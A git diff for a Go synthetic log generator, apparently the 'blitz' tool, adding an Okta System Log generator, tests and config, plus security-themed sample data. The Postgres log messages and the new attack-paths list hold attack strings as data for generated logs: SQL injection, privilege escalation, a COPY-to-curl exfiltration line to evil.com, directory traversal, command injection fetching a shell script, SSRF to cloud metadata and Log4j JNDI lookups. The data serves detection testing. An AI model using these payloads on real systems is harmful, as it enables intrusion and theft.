metricLogsGenerated, + metric.WithDescription("Total number of logs generated"), + ) + if err != nil { + return nil, fmt.Errorf("create logs generated counter: %w", err) + } + + oktaActiveWorkers, err := meter.Int64Gauge( + metricWorkersActive, + metric.WithDescription("Number of active worker goroutines"), + ) + if err != nil { + return nil, fmt.Errorf("create active workers gauge: %w", err) + } + + oktaWriteErrors, err := meter.Int64Counter( + metricWriteErrors, + metric.WithDescription("Total number of write errors"), + ) + if err != nil { + return nil, fmt.Errorf("create write errors counter: %w", err) + } + + return &Generator{ + logger: logger, + workers: workers, + rate: rate, + stopCh: make(chan struct{}), + meter: meter, + oktaLogsGenerated: oktaLogsGenerated, + oktaActiveWorkers: oktaActiveWorkers, + oktaWriteErrors: oktaWriteErrors, + }, nil +} + +// Start starts the Okta log generator +func (g *Generator) Start(writer output.Writer) error { + g.logger.Info("Starting Okta log generator", + zap.Int("workers", g.workers), + zap.Duration("rate", g.rate), + ) + + for i := 0; i < g.workers; i++ { + g.wg.Add(1) + go g.worker(i, writer) + } + + return nil +} + +// Stop stops the Okta log generator +func (g *Generator) Stop(ctx context.Context) error { + g.logger.Info("Stopping Okta log generator") + + close(g.stopCh) + + done := make(chan struct{}) + go func() { + g.wg.Wait() + close(done) + }() + + select { + case <-done: + g.logger.Info("Okta log generator stopped") + return nil + case <-ctx.Done(): + return ctx.Err() + } +} + +func (g *Generator) worker(workerID int, writer output.Writer) { + defer g.wg.Done() + + r := rand.New(rand.NewSource(time.Now().UnixNano() + int64(workerID))) // #nosec G404 + + g.oktaActiveWorkers.Record(context.Background(), 1, + metric.WithAttributeSet( + attribute.NewSet( + attribute.String("component", componentName), + attribute.Int("worker_id", workerID), + ), + ), + ) + defer g.oktaActiveWorkers.Record(context.Background(), 0, + metric.WithAttributeSet( + attribute.NewSet( + attribute.String("component", componentName), + attribute.Int("worker_id", workerID), + ), + ), + ) + + backoffConfig := backoff.NewExponentialBackOff() + backoffConfig.InitialInterval = g.rate + backoffConfig.MaxInterval = 5 * time.Second + backoffConfig.MaxElapsedTime = 0 + + backoffTicker := backoff.NewTicker(backoffConfig) + defer backoffTicker.Stop() + + for { + select { + case <-g.stopCh: + g.logger.Debug("Worker stopping", zap.Int("worker_id", workerID)) + return + case <-backoffTicker.C: + err := g.generateAndWriteLog(r, writer, workerID) + if err != nil { + g.logger.Error("Failed to write log", + zap.Int("worker_id", workerID), + zap.Error(err)) + continue + } + backoffConfig.Reset() + } + } +} + +func (g *Generator) generateAndWriteLog(r *rand.Rand, writer output.Writer, workerID int) error { + logRecord, err := g.generateOktaLog(r) + if err != nil { + g.recordWriteError(errorTypeUnknown, err) + return fmt.Errorf("generate Okta log: %w", err) + } + + g.oktaLogsGenerated.Add(context.Background(), 1, + metric.WithAttributeSet( + attribute.NewSet( + attribute.String("component", componentName), + ), + ), + ) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + if err := writer.Write(ctx, logRecord); err != nil { + errorType := errorTypeUnknown + if ctx.Err() == context.DeadlineExceeded { + errorType = errorTypeTimeout + } + g.recordWriteError(errorType, err) + return err + } + + return nil +} + +func (g *Generator) generateOktaLog(r *rand.Rand) (output.LogRecord, error) { + now := time.Now().UTC() + event := eventTypes[r.Intn(len(eventTypes))] // #nosec G404 + actor := actors[r.Intn(len(actors))] // #nosec G404 + app := applications[r.Intn(len(applications))] // #nosec G404 + location := cities[r.Intn(len(cities))] // #nosec G404 + userAgent := userAgents[r.Intn(len(userAgents))] // #nosec G404 + + // Generate UUIDs + uuid := generateUUID(r) + actorID := generateUUID(r) + sessionID := generateUUID(r) + requestID := generateRequestID(r) + + // Build the Okta System Log event + logData := map[string]any{ + "uuid": uuid, + "published": now.Format(time.RFC3339Nano), + "eventType": event.eventType, + "version": "0", + "severity": event.severity, + "displayMessage": event.displayMsg, + "actor": map[string]any{ + "id": actorID, + "type": actor.userType, + "alternateId": actor.login, + "displayName": actor.displayName, + }, + "client": map[string]any{ + "userAgent": map[string]any{ + "rawUserAgent": userAgent, + "os": "Unknown", + "browser": "UNKNOWN", + }, + "zone": "null", + "device": "Unknown", + "ipAddress": generateRandomIP(r), + "geographicalContext": map[string]any{ + "city": location.city, + "state": location.state, + "country": location.country, + "postalCode": fmt.Sprintf("%05d", r.Intn(99999)), // #nosec G404 + "geolocation": map[string]any{ + "lat": location.latitude, + "lon": location.longitude, + }, + }, + }, + "outcome": map[string]any{ + "result": event.outcome, + }, + "target": []map[string]any{ + { + "id": generateUUID(r), + "type": "AppInstance", + "alternateId": app.name, + "displayName": app.label, + }, + }, + "transaction": map[string]any{ + "type": "WEB", + "id": requestID, + "detail": map[string]any{}, + }, + "debugContext": map[string]any{ + "debugData": map[string]any{ + "requestId": requestID, + "requestUri": "/api/v1/authn", + "threatSuspected": fmt.Sprintf("%t", event.severity == "ERROR" || event.severity == "WARN"), + "url": fmt.Sprintf("/api/v1/authn?%s", requestID), + }, + }, + "authenticationContext": map[string]any{ + "authenticationProvider": "OKTA_AUTHENTICATION_PROVIDER", + "credentialProvider": "OKTA_CREDENTIAL_PROVIDER", + "credentialType": "PASSWORD", + "externalSessionId": sessionID, + "interface": "Okta End-User Dashboard", + }, + "securityContext": map[string]any{ + "asNumber": r.Intn(65535), // #nosec G404 + "asOrg": "example-isp", + "isp": "Example ISP", + "domain": "example.com", + "isProxy": r.Float64() < 0.1, // #nosec G404 + }, + "legacyEventType": event.eventType, + } + + // Add reason for failures + if event.outcome == "FAILURE" { + logData["outcome"].(map[string]any)["reason"] = reasons[r.Intn(len(reasons))] // #nosec G404 + } + + jsonBytes, err := jsonlib.Marshal(logData) + if err != nil { + return output.LogRecord{}, fmt.Errorf("marshal Okta log: %w", err) + } + + return output.LogRecord{ + Message: string(jsonBytes), + ParseFunc: func(message string) (map[string]any, error) { + var parsed map[string]any + if err := jsonlib.Unmarshal([]byte(message), &parsed); err != nil { + return nil, fmt.Errorf("unmarshal Okta log: %w", err) + } + return parsed, nil + }, + Metadata: output.LogRecordMetadata{ + Timestamp: now, + Severity: event.severity, + }, + }, nil +} + +func generateUUID(r *rand.Rand) string { + return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x", + r.Uint32(), // #nosec G404 + r.Uint32()&0xFFFF, // #nosec G404 + r.Uint32()&0xFFFF, // #nosec G404 + r.Uint32()&0xFFFF, // #nosec G404 + r.Uint64()&0xFFFFFFFFFFFF) // #nosec G404 +} + +func generateRequestID(r *rand.Rand) string { + const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + b := make([]byte, 20) + for i := range b { + b[i] = charset[r.Intn(len(charset))] // #nosec G404 + } + return string(b) +} + +func generateRandomIP(r *rand.Rand) string { + return fmt.Sprintf("%d.%d.%d.%d", + r.Intn(256), // #nosec G404 + r.Intn(256), // #nosec G404 + r.Intn(256), // #nosec G404 + r.Intn(256)) // #nosec G404 +} + +func (g *Generator) recordWriteError(errorType string, err error) { + g.oktaWriteErrors.Add(context.Background(), 1, + metric.WithAttributeSet( + attribute.NewSet( + attribute.String("component", componentName), + attribute.String("error_type", errorType), + ), + ), + ) + g.logger.Debug("Recorded write error", + zap.String("error_type", errorType), + zap.Error(err), + ) +} diff --git a/generator/okta/okta_test.go b/generator/okta/okta_test.go new file mode 100644 index 0000000..99e4dde --- /dev/null +++ b/generator/okta/okta_test.go @@ -0,0 +1,349 @@ +package okta + +import ( + "context" + "encoding/json" + "errors" + "math/rand" + "sync" + "testing" + "time" + + "github.com/observiq/blitz/output" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/zap/zaptest" +) + +// mockWriter implements output.Writer for testing +type mockWriter struct { + mu sync.Mutex + writes [][]byte + errors []error + writeErr error +} + +func newMockWriter() *mockWriter { + return &mockWriter{ + writes: make([][]byte, 0), + errors: make([]error, 0), + } +} + +func (m *mockWriter) Write(ctx context.Context, data output.LogRecord) error { + m.mu.Lock() + defer m.mu.Unlock() + + if m.writeErr != nil { + err := m.writeErr + m.errors = append(m.errors, err) + return err + } + + m.writes = append(m.writes, append([]byte(nil), data.Message...)) + return nil +} + +func (m *mockWriter) getWrites() [][]byte { + m.mu.Lock() + defer m.mu.Unlock() + return append([][]byte(nil), m.writes...) +} + +func (m *mockWriter) getErrors() []error { + m.mu.Lock() + defer m.mu.Unlock() + return append([]error(nil), m.errors...) +} + +func (m *mockWriter) setWriteError(err error) { + m.mu.Lock() + defer m.mu.Unlock() + m.writeErr = err +} + +func TestNew(t *testing.T) { + logger := zaptest.NewLogger(t) + workers := 5 + rate := 100 * time.Millisecond + + generator, err := New(logger, workers, rate) + + assert.NoError(t, err) + assert.NotNil(t, generator) + assert.Equal(t, logger, generator.logger) + assert.Equal(t, workers, generator.workers) + assert.Equal(t, rate, generator.rate) + assert.NotNil(t, generator.stopCh) +} + +func TestNew_NilLogger(t *testing.T) { + generator, err := New(nil, 5, 100*time.Millisecond) + + assert.Error(t, err) + assert.Nil(t, generator) + assert.Contains(t, err.Error(), "logger cannot be nil") +} + +func TestNew_InvalidWorkers(t *testing.T) { + logger := zaptest.NewLogger(t) + + generator, err := New(logger, 0, 100*time.Millisecond) + assert.Error(t, err) + assert.Nil(t, generator) + assert.Contains(t, err.Error(), "workers must be 1 or greater") + + generator, err = New(logger, -1, 100*time.Millisecond) + assert.Error(t, err) + assert.Nil(t, generator) + assert.Contains(t, err.Error(), "workers must be 1 or greater") +} + +func TestOktaGenerator_Start(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + generator, err := New(logger, 2, 50*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + assert.NoError(t, err) + + // Wait for some logs to be generated + time.Sleep(200 * time.Millisecond) + + // Stop the generator + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + err = generator.Stop(ctx) + assert.NoError(t, err) + + // Verify logs were written + writes := writer.getWrites() + assert.Greater(t, len(writes), 0, "Expected some logs to be written") + + // Verify log structure - each log should be valid JSON with Okta fields + for _, write := range writes { + var log map[string]any + err := json.Unmarshal(write, &log) + assert.NoError(t, err, "Log should be valid JSON") + + // Verify required Okta System Log fields + assert.Contains(t, log, "uuid", "Should have uuid field") + assert.Contains(t, log, "published", "Should have published field") + assert.Contains(t, log, "eventType", "Should have eventType field") + assert.Contains(t, log, "severity", "Should have severity field") + assert.Contains(t, log, "displayMessage", "Should have displayMessage field") + assert.Contains(t, log, "actor", "Should have actor field") + assert.Contains(t, log, "client", "Should have client field") + assert.Contains(t, log, "outcome", "Should have outcome field") + assert.Contains(t, log, "target", "Should have target field") + + // Verify displayMessage is a string (not a nested object) + _, ok := log["displayMessage"].(string) + assert.True(t, ok, "displayMessage should be a string") + } +} + +func TestOktaGenerator_Stop_GracefulShutdown(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + generator, err := New(logger, 3, 10*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + require.NoError(t, err) + + time.Sleep(50 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + defer cancel() + + start := time.Now() + err = generator.Stop(ctx) + duration := time.Since(start) + + assert.NoError(t, err) + assert.Less(t, duration, 500*time.Millisecond, "Stop should complete quickly") + + writes := writer.getWrites() + assert.Greater(t, len(writes), 0, "Expected some logs to be written before stopping") +} + +func TestOktaGenerator_WriteErrors_Backoff(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + writer.setWriteError(errors.New("write failed")) + generator, err := New(logger, 1, 10*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + require.NoError(t, err) + + time.Sleep(200 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + defer cancel() + err = generator.Stop(ctx) + assert.NoError(t, err) + + errs := writer.getErrors() + assert.Greater(t, len(errs), 0, "Expected some write errors") +} + +func TestOktaGenerator_ConcurrentWorkers(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + generator, err := New(logger, 5, 20*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + require.NoError(t, err) + + time.Sleep(200 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + err = generator.Stop(ctx) + assert.NoError(t, err) + + writes := writer.getWrites() + assert.Greater(t, len(writes), 10, "Expected many logs from multiple workers") +} + +func TestOktaGenerator_EventTypeVariety(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + generator, err := New(logger, 1, 5*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + require.NoError(t, err) + + time.Sleep(200 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + defer cancel() + err = generator.Stop(ctx) + assert.NoError(t, err) + + writes := writer.getWrites() + assert.Greater(t, len(writes), 10, "Expected many logs") + + eventTypeSet := make(map[string]int) + severitySet := make(map[string]int) + + for _, write := range writes { + var log map[string]any + err := json.Unmarshal(write, &log) + require.NoError(t, err) + + if et, ok := log["eventType"].(string); ok { + eventTypeSet[et]++ + } + if sev, ok := log["severity"].(string); ok { + severitySet[sev]++ + } + } + + assert.Greater(t, len(eventTypeSet), 1, "Expected variety in event types") + assert.Greater(t, len(severitySet), 1, "Expected variety in severity levels") +} + +func TestOktaGenerator_FailureOutcomeHasReason(t *testing.T) { + logger := zaptest.NewLogger(t) + r := rand.New(rand.NewSource(42)) // #nosec G404 + + generator, err := New(logger, 1, time.Second) + require.NoError(t, err) + + // Generate enough logs to get some failures + for i := 0; i < 200; i++ { + logRecord, err := generator.generateOktaLog(r) + require.NoError(t, err) + + var log map[string]any + err = json.Unmarshal([]byte(logRecord.Message), &log) + require.NoError(t, err) + + outcome, ok := log["outcome"].(map[string]any) + require.True(t, ok) + + result, ok := outcome["result"].(string) + require.True(t, ok) + + if result == "FAILURE" { + _, hasReason := outcome["reason"] + assert.True(t, hasReason, "FAILURE outcomes should have a reason field") + } + } +} + +func TestOktaGenerator_MultipleStartStop(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + + for i := 0; i < 3; i++ { + generator, err := New(logger, 2, 20*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + assert.NoError(t, err) + + time.Sleep(50 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + err = generator.Stop(ctx) + cancel() + assert.NoError(t, err) + } + + writes := writer.getWrites() + assert.Greater(t, len(writes), 0, "Expected logs from multiple start/stop cycles") +} + +func TestGenerateUUID(t *testing.T) { + r := rand.New(rand.NewSource(42)) // #nosec G404 + + uuid := generateUUID(r) + assert.NotEmpty(t, uuid) + + // UUID format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx + parts := make([]string, 0) + for _, p := range splitUUID(uuid) { + parts = append(parts, p) + } + assert.Len(t, parts, 5, "UUID should have 5 dash-separated parts") +} + +func splitUUID(uuid string) []string { + var parts []string + current := "" + for _, c := range uuid { + if c == '-' { + parts = append(parts, current) + current = "" + } else { + current += string(c) + } + } + if current != "" { + parts = append(parts, current) + } + return parts +} + +func TestGenerateRandomIP(t *testing.T) { + r := rand.New(rand.NewSource(42)) // #nosec G404 + + ip := generateRandomIP(r) + assert.NotEmpty(t, ip) + assert.Regexp(t, `^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$`, ip) +} + +func TestGenerateRequestID(t *testing.T) { + r := rand.New(rand.NewSource(42)) // #nosec G404 + + id := generateRequestID(r) + assert.Len(t, id, 20) + assert.Regexp(t, `^[A-Za-z0-9]+$`, id) +} diff --git a/generator/postgres/postgres.go b/generator/postgres/postgres.go index 7d33f27..299acd7 100644 --- a/generator/postgres/postgres.go +++ b/generator/postgres/postgres.go @@ -112,6 +112,7 @@ var ( severity string message string }{ + // Normal operations {severityLog, "statement: SELECT * FROM users WHERE id = $1"}, {severityLog, "statement: INSERT INTO orders (user_id, total) VALUES ($1, $2)"}, {severityLog, "statement: UPDATE products SET stock = stock - $1 WHERE id = $2"}, @@ -147,6 +148,62 @@ var ( {severityInfo, "autovacuum launcher shutting down"}, {severityDebug, "checkpoint record is at 0/12345678"}, {severityDebug, "redo record is at 0/12345678; undo record is at 0/0; shutdown TRUE"}, + + // Security: Authentication failures (brute force patterns) + {severityFatal, "password authentication failed for user \"admin\""}, + {severityFatal, "password authentication failed for user \"root\""}, + {severityFatal, "password authentication failed for user \"postgres\""}, + {severityFatal, "password authentication failed for user \"sa\""}, + {severityFatal, "no pg_hba.conf entry for host \"10.0.0.50\", user \"admin\", database \"production\""}, + {severityFatal, "too many connections for role \"app_user\""}, + {severityWarning, "connection rejected: too many connections for database \"production\""}, + {severityError, "authentication failed for user \"backup_admin\": invalid credentials"}, + + // Security: SQL injection attempts + {severityError, "syntax error at or near \"'\" at character 42"}, + {severityLog, "statement: SELECT * FROM users WHERE username = '' OR '1'='1'"}, + {severityLog, "statement: SELECT * FROM users WHERE id = 1; DROP TABLE users;--"}, + {severityLog, "statement: SELECT * FROM accounts WHERE id = 1 UNION SELECT password FROM credentials"}, + {severityLog, "statement: SELECT * FROM products WHERE name = ''; WAITFOR DELAY '00:00:10'--"}, + {severityLog, "statement: SELECT password FROM users WHERE username = 'admin'--"}, + {severityLog, "statement: INSERT INTO users VALUES (1, 'hacker', (SELECT password FROM users WHERE username='admin'))"}, + {severityWarning, "statement execution time exceeded threshold: 30000 ms"}, + + // Security: Privilege escalation attempts + {severityError, "permission denied to create role"}, + {severityError, "must be superuser to alter superuser roles or change superuser attribute"}, + {severityLog, "statement: ALTER ROLE app_user WITH SUPERUSER"}, + {severityLog, "statement: ALTER ROLE readonly_user WITH CREATEROLE CREATEDB"}, + {severityLog, "statement: GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO attacker"}, + {severityLog, "statement: CREATE ROLE backdoor_admin WITH SUPERUSER LOGIN PASSWORD 'hacked123'"}, + {severityError, "permission denied for schema pg_catalog"}, + {severityFatal, "role \"app_user\" is not permitted to log in"}, + + // Security: Data exfiltration patterns + {severityLog, "statement: COPY (SELECT * FROM customers) TO '/tmp/customers_dump.csv'"}, + {severityLog, "statement: COPY users TO PROGRAM 'curl -X POST -d @- http://evil.com/exfil'"}, + {severityLog, "statement: SELECT * FROM credit_cards"}, + {severityLog, "statement: SELECT ssn, dob, full_name FROM pii_data"}, + {severityLog, "statement: pg_dump --table=passwords --data-only production"}, + {severityWarning, "large data transfer detected: 50000 rows returned"}, + {severityLog, "statement: SELECT pg_read_file('/etc/passwd')"}, + {severityLog, "statement: SELECT lo_export(12345, '/tmp/secret.txt')"}, + + // Security: Suspicious administrative actions + {severityLog, "statement: DROP DATABASE production"}, + {severityLog, "statement: TRUNCATE TABLE audit_logs"}, + {severityLog, "statement: DELETE FROM security_events WHERE created_at < NOW()"}, + {severityLog, "statement: ALTER TABLE audit_logs DISABLE TRIGGER ALL"}, + {severityWarning, "parameter \"log_statement\" changed to \"none\""}, + {severityWarning, "parameter \"log_connections\" changed to \"off\""}, + {severityLog, "statement: UPDATE pg_authid SET rolpassword = 'md5' || md5('newpass' || 'postgres')"}, + + // Security: Anomalous access patterns + {severityWarning, "connection from unusual IP range: 185.220.101.0/24 (known Tor exit node)"}, + {severityWarning, "off-hours database access detected from user \"admin\" at 03:24:15 UTC"}, + {severityLog, "connection received: host=192.168.1.100 port=54321 (outside normal subnet)"}, + {severityError, "SSL connection required but client connected without SSL"}, + {severityWarning, "multiple databases accessed in single session: production, staging, backup"}, } ) diff --git a/internal/config/generator.go b/internal/config/generator.go index bbb5854..c37390c 100644 --- a/internal/config/generator.go +++ b/internal/config/generator.go @@ -30,6 +30,8 @@ const ( GeneratorTypeKubernetes GeneratorType = "kubernetes" // GeneratorTypeFile represents File generator GeneratorTypeFile GeneratorType = "filegen" + // GeneratorTypeOkta represents Okta System Log generator + GeneratorTypeOkta GeneratorType = "okta" ) // Generator contains configuration for log generators @@ -56,6 +58,8 @@ type Generator struct { Kubernetes KubernetesGeneratorConfig `yaml:"kubernetes,omitempty" mapstructure:"kubernetes,omitempty"` // Filegen contains File generator configuration Filegen FileGeneratorConfig `yaml:"filegen,omitempty" mapstructure:"filegen,omitempty"` + // Okta contains Okta System Log generator configuration + Okta OktaGeneratorConfig `yaml:"okta,omitempty" mapstructure:"okta,omitempty"` } // Validate validates the generator configuration @@ -108,8 +112,12 @@ func (g *Generator) Validate() error { if err := g.Filegen.Validate(); err != nil { return fmt.Errorf("filegen generator validation failed: %w", err) } + case GeneratorTypeOkta: + if err := g.Okta.Validate(); err != nil { + return fmt.Errorf("okta generator validation failed: %w", err) + } default: - return fmt.Errorf("invalid generator type: %s, must be one of: nop, json, winevt, palo-alto, apache-common, apache-combined, apache-error, nginx, postgres, kubernetes, filegen", g.Type) + return fmt.Errorf("invalid generator type: %s, must be one of: nop, json, winevt, palo-alto, apache-common, apache-combined, apache-error, nginx, postgres, kubernetes, filegen, okta", g.Type) } return nil diff --git a/internal/config/generator_okta.go b/internal/config/generator_okta.go new file mode 100644 index 0000000..bcfceb0 --- /dev/null +++ b/internal/config/generator_okta.go @@ -0,0 +1,27 @@ +package config + +import ( + "fmt" + "time" +) + +// OktaGeneratorConfig contains configuration for Okta System Log generator +type OktaGeneratorConfig struct { + // Workers is the number of worker goroutines for Okta log generation + Workers int `yaml:"workers,omitempty" mapstructure:"workers,omitempty"` + // Rate is the rate at which logs are generated per worker + Rate time.Duration `yaml:"rate,omitempty" mapstructure:"rate,omitempty"` +} + +// Validate validates the Okta generator configuration +func (c *OktaGeneratorConfig) Validate() error { + if c.Workers < 1 { + return fmt.Errorf("Okta generator workers must be 1 or greater, got %d", c.Workers) + } + + if c.Rate <= 0 { + return fmt.Errorf("Okta generator rate must be positive, got %v", c.Rate) + } + + return nil +} diff --git a/internal/config/override.go b/internal/config/override.go index 1e448df..a0ce529 100644 --- a/internal/config/override.go +++ b/internal/config/override.go @@ -247,7 +247,7 @@ func DefaultOverrides() []*Override { NewOverride("logging.file.rotation.compress", "logging file rotation: compress rotated files", true), NewOverride("logging.file.rotation.localTime", "logging file rotation: use local time for backup timestamps", false), NewOverride("metrics.port", "HTTP port for the metrics endpoint", DefaultMetricsPort), - NewOverride("generator.type", "generator type. One of: nop|json|winevt|palo-alto|apache-combined|apache-combined|apache-error|nginx|postgres|kubernetes|filegen", GeneratorTypeNop), + NewOverride("generator.type", "generator type. One of: nop|json|winevt|palo-alto|apache-common|apache-combined|apache-error|nginx|postgres|kubernetes|filegen|okta", GeneratorTypeNop), NewOverride("generator.json.workers", "number of JSON generator workers", 1), NewOverride("generator.json.rate", "rate at which logs are generated per worker", 1*time.Second), NewOverride("generator.json.type", "type of log to generate. One of: default|pii", logtypes.LogTypeDefault), @@ -273,6 +273,8 @@ func DefaultOverrides() []*Override { NewOverride("generator.filegen.source", "file path, directory path, or glob pattern (auto-detected)", ""), NewOverride("generator.filegen.cache-enabled", "enable in-memory file caching", true), NewOverride("generator.filegen.cache-ttl", "file cache time-to-live (0 = never expire)", time.Duration(0)), + NewOverride("generator.okta.workers", "number of Okta generator workers", 1), + NewOverride("generator.okta.rate", "rate at which Okta logs are generated per worker", 1*time.Second), NewOverride("output.type", "output type. One of: nop|stdout|tcp|udp|syslog|otlp-grpc|file", OutputTypeNop), NewOverride("output.udp.host", "UDP output target host", ""), NewOverride("output.udp.port", "UDP output target port", 0), diff --git a/internal/config/override_test.go b/internal/config/override_test.go index 83c7869..0aca4cd 100644 --- a/internal/config/override_test.go +++ b/internal/config/override_test.go @@ -49,6 +49,8 @@ func getTestOverrideFlagsArgs() []string { "--generator-filegen-source", "/var/log", "--generator-filegen-cache-enabled=false", "--generator-filegen-cache-ttl", "0", + "--generator-okta-workers", "22", + "--generator-okta-rate", "40ms", "--output-type", "otlp-grpc", "--output-udp-host", "udp.example.com", "--output-udp-port", "1514", @@ -141,6 +143,8 @@ func getTestOverrideEnvs() map[string]string { "BLITZ_GENERATOR_FILEGEN_SOURCE": "syslog_generic", "BLITZ_GENERATOR_FILEGEN_CACHE_ENABLED": "false", "BLITZ_GENERATOR_FILEGEN_CACHE_TTL": "0", + "BLITZ_GENERATOR_OKTA_WORKERS": "23", + "BLITZ_GENERATOR_OKTA_RATE": "35ms", "BLITZ_OUTPUT_TYPE": "file", "BLITZ_OUTPUT_UDP_HOST": "udp.env.example", "BLITZ_OUTPUT_UDP_PORT": "5514", @@ -273,6 +277,10 @@ func TestOverrideDefaults(t *testing.T) { CacheEnabled: true, CacheTTL: 0, }, + Okta: OktaGeneratorConfig{ + Workers: 1, + Rate: 1 * time.Second, + }, }, Output: Output{ Type: OutputTypeNop, @@ -426,6 +434,10 @@ func TestOverrideFlags(t *testing.T) { CacheEnabled: false, CacheTTL: 0, }, + Okta: OktaGeneratorConfig{ + Workers: 22, + Rate: 40 * time.Millisecond, + }, }, Output: Output{ Type: OutputTypeOTLPGrpc, @@ -582,6 +594,10 @@ func TestOverrideEnvs(t *testing.T) { CacheEnabled: false, CacheTTL: 0, }, + Okta: OktaGeneratorConfig{ + Workers: 23, + Rate: 35 * time.Millisecond, + }, }, Output: Output{ Type: OutputTypeFile, diff --git a/internal/generator/logtypes/pii.go b/internal/generator/logtypes/pii.go index 2b94679..187554a 100644 --- a/internal/generator/logtypes/pii.go +++ b/internal/generator/logtypes/pii.go @@ -346,7 +346,7 @@ func generatePasswordHash(r *rand.Rand) string { // generateAPIKey generates a random API key func generateAPIKey(r *rand.Rand) string { - prefixes := []string{"api_key_", "secret_", "token_", "key_", "apikey_"} + prefixes := []string{"apikey_", "secret_", "token_", "key_", "access_key_"} prefix := prefixes[r.Intn(len(prefixes))] chars := "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" key := prefix diff --git a/internal/generator/security/paths.go b/internal/generator/security/paths.go new file mode 100644 index 0000000..81f0e92 --- /dev/null +++ b/internal/generator/security/paths.go @@ -0,0 +1,99 @@ +package security + +import "math/rand" + +// AttackPaths contains common HTTP attack patterns used across web server log generators. +var AttackPaths = []string{ + // Directory traversal attacks + "/../../etc/passwd", + "/..%2f..%2f..%2fetc/passwd", + "/....//....//....//etc/shadow", + "/api/v1/files?path=../../../etc/passwd", + "/download?file=....//....//....//etc/hosts", + "/static/..%252f..%252f..%252fetc/passwd", + + // SQL injection attempts + "/api/v1/users?id=1'%20OR%20'1'='1", + "/api/v1/search?q=';DROP%20TABLE%20users;--", + "/api/v1/login?user=admin'--&pass=x", + "/api/v1/products?category=1%20UNION%20SELECT%20password%20FROM%20users", + "/api/v1/orders?id=1;%20WAITFOR%20DELAY%20'00:00:10'", + "/api/v1/accounts?name='+OR+1=1--", + + // XSS attempts + "/search?q=", + "/api/v1/comments?text=%3Cscript%3Edocument.location='http://evil.com/'%3C/script%3E", + "/profile?name=", + "/api/v1/feedback?msg=", + + // Command injection + "/api/v1/ping?host=127.0.0.1;cat%20/etc/passwd", + "/api/v1/backup?file=test|wget%20http://evil.com/shell.sh", + "/cgi-bin/test.cgi?cmd=ls%20-la", + "/api/v1/convert?url=http://evil.com/$(whoami)", + + // Scanner and reconnaissance + "/admin", + "/admin/login", + "/wp-admin/", + "/wp-login.php", + "/phpmyadmin/", + "/phpMyAdmin/", + "/.env", + "/.git/config", + "/.git/HEAD", + "/config.php", + "/web.config", + "/server-status", + "/server-info", + "/nginx_status", + "/.aws/credentials", + "/.ssh/id_rsa", + "/backup.sql", + "/dump.sql", + "/database.sql", + "/api/swagger.json", + "/actuator/env", + "/actuator/health", + "/debug/pprof/", + "/graphql", + "/metrics", + "/trace", + + // Authentication bypass attempts + "/api/v1/admin?admin=true", + "/api/v1/users?role=admin", + "/api/internal/debug", + "/api/v1/auth/bypass", + + // SSRF attempts + "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/", + "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/", + "/api/v1/proxy?target=http://localhost:6379/", + "/api/v1/webhook?callback=http://internal-service:8080/admin", + "/api/v1/image?src=file:///etc/passwd", + "/api/v1/redirect?url=http://metadata.google.internal/computeMetadata/v1/", + + // Log4j/JNDI injection + "/api/v1/search?q=${jndi:ldap://evil.com/a}", + "/api/v1/user-agent?ua=${jndi:rmi://attacker.com:1099/exploit}", + "/${jndi:ldap://x.x.x.x/exploit}", + + // Shellshock + "/cgi-bin/test.sh", + "/cgi-bin/status", + "/cgi-bin/bash", + + // Prototype pollution + "/api/v1/settings?__proto__[admin]=true", + "/api/v1/config?constructor[prototype][isAdmin]=true", + + // WebSocket hijacking probe + "/ws/admin", + "/socket.io/?transport=polling", +} + +// RandomAttackPath returns a random attack path from the shared list. +func RandomAttackPath(r *rand.Rand) string { + return AttackPaths[r.Intn(len(AttackPaths))] // #nosec G404 +} diff --git a/package/completions/blitz.bash b/package/completions/blitz.bash index 6827eb4..c329380 100644 --- a/package/completions/blitz.bash +++ b/package/completions/blitz.bash @@ -417,6 +417,10 @@ _blitz_help() two_word_flags+=("--generator-nginx-rate") flags+=("--generator-nginx-workers=") two_word_flags+=("--generator-nginx-workers") + flags+=("--generator-okta-rate=") + two_word_flags+=("--generator-okta-rate") + flags+=("--generator-okta-workers=") + two_word_flags+=("--generator-okta-workers") flags+=("--generator-paloalto-rate=") two_word_flags+=("--generator-paloalto-rate") flags+=("--generator-paloalto-workers=") @@ -620,6 +624,10 @@ _blitz_version() two_word_flags+=("--generator-nginx-rate") flags+=("--generator-nginx-workers=") two_word_flags+=("--generator-nginx-workers") + flags+=("--generator-okta-rate=") + two_word_flags+=("--generator-okta-rate") + flags+=("--generator-okta-workers=") + two_word_flags+=("--generator-okta-workers") flags+=("--generator-paloalto-rate=") 